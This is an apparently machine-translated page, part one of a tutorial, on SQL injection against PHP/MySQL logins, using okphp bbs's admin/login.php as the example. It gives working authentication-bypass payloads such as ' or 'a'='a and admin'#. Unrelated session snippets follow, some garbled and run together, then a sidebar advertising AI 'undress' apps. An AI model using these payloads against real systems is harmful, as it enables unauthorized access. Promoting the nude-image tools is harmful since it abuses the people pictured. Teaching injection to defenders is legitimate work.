


Detailed explanation about sql injection method (1/3)_PHP tutorial
Due to the php tutorial and mysql tutorial itself, the injection of php+mysql is more difficult than the asp tutorial, especially the construction of statements during injection. This article mainly borrows some information from okphp bbs v1.3 Let’s briefly analyze the file and talk about the construction method of php+mysql injection statement. I hope this article will be helpful to you.
Statement: All the "vulnerabilities" mentioned in the article have not been tested and may not exist at all. In fact, it does not matter whether there are loopholes. What is important is the analysis ideas and statement structure.
2. "Vulnerability" analysis:
1.admin/login.php injection leads to authentication bypass vulnerability:
Code:
Code
$conn=sql_connect($dbhost, $dbuser, $dbps tutorial wd, $dbname); $password = md5($password); $q = "select id,group_id from $user_table where username='$username' and password='$password'"; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = "select id,group_id from $user_table where username='$username' and password ='$password'
Medium
$username and $password are not filtered and can be easily bypassed. (php100 Chinese website)
Methods for modifying statements such as select * from $user_table where username='$username' and password='$password' are:
Construction 1 (using logical operations): $username=' or 'a'='a $password=' or 'a'='a
Equivalent to sql statement:
select * from $user_table where username='' or 'a'='a' and password='' or 'a'='a'
Construction 2 (use the comment statement # in mysql, /* to comment out $password): $username=admin'#(or admin'/*)
That is:
select * from $user_table where username='admin'#' and password='$password'
Equivalent to:
select * from $user_table where username='admin'
The $password in the $q statement in admin/login.php is md5 encrypted before querying, so it cannot be bypassed by the statement in construction 1. Here we use construction 2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
Equivalent to:
select id,group_id from $user_table where username='admin'
1 2 3

In PHP, you can use session_status() or session_id() to check whether the session has started. 1) Use the session_status() function. If PHP_SESSION_ACTIVE is returned, the session has been started. 2) Use the session_id() function, if a non-empty string is returned, the session has been started. Both methods can effectively check the session state, and choosing which method to use depends on the PHP version and personal preferences.

Sessionsarevitalinwebapplications,especiallyfore-commerceplatforms.Theymaintainuserdataacrossrequests,crucialforshoppingcarts,authentication,andpersonalization.InFlask,sessionscanbeimplementedusingsimplecodetomanageuserloginsanddatapersistence.

Managing concurrent session access in PHP can be done by the following methods: 1. Use the database to store session data, 2. Use Redis or Memcached, 3. Implement a session locking strategy. These methods help ensure data consistency and improve concurrency performance.

PHPsessionshaveseverallimitations:1)Storageconstraintscanleadtoperformanceissues;2)Securityvulnerabilitieslikesessionfixationattacksexist;3)Scalabilityischallengingduetoserver-specificstorage;4)Sessionexpirationmanagementcanbeproblematic;5)Datapersis

Load balancing affects session management, but can be resolved with session replication, session stickiness, and centralized session storage. 1. Session Replication Copy session data between servers. 2. Session stickiness directs user requests to the same server. 3. Centralized session storage uses independent servers such as Redis to store session data to ensure data sharing.

Sessionlockingisatechniqueusedtoensureauser'ssessionremainsexclusivetooneuseratatime.Itiscrucialforpreventingdatacorruptionandsecuritybreachesinmulti-userapplications.Sessionlockingisimplementedusingserver-sidelockingmechanisms,suchasReentrantLockinJ

Alternatives to PHP sessions include Cookies, Token-based Authentication, Database-based Sessions, and Redis/Memcached. 1.Cookies manage sessions by storing data on the client, which is simple but low in security. 2.Token-based Authentication uses tokens to verify users, which is highly secure but requires additional logic. 3.Database-basedSessions stores data in the database, which has good scalability but may affect performance. 4. Redis/Memcached uses distributed cache to improve performance and scalability, but requires additional matching

Sessionhijacking refers to an attacker impersonating a user by obtaining the user's sessionID. Prevention methods include: 1) encrypting communication using HTTPS; 2) verifying the source of the sessionID; 3) using a secure sessionID generation algorithm; 4) regularly updating the sessionID.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Atom editor mac version download
The most popular open source editor

VSCode Windows 64-bit Download
A free and powerful IDE editor launched by Microsoft

Zend Studio 13.0.1
Powerful PHP integrated development environment

SublimeText3 English version
Recommended: Win version, supports code prompts!

Notepad++7.3.1
Easy-to-use and free code editor
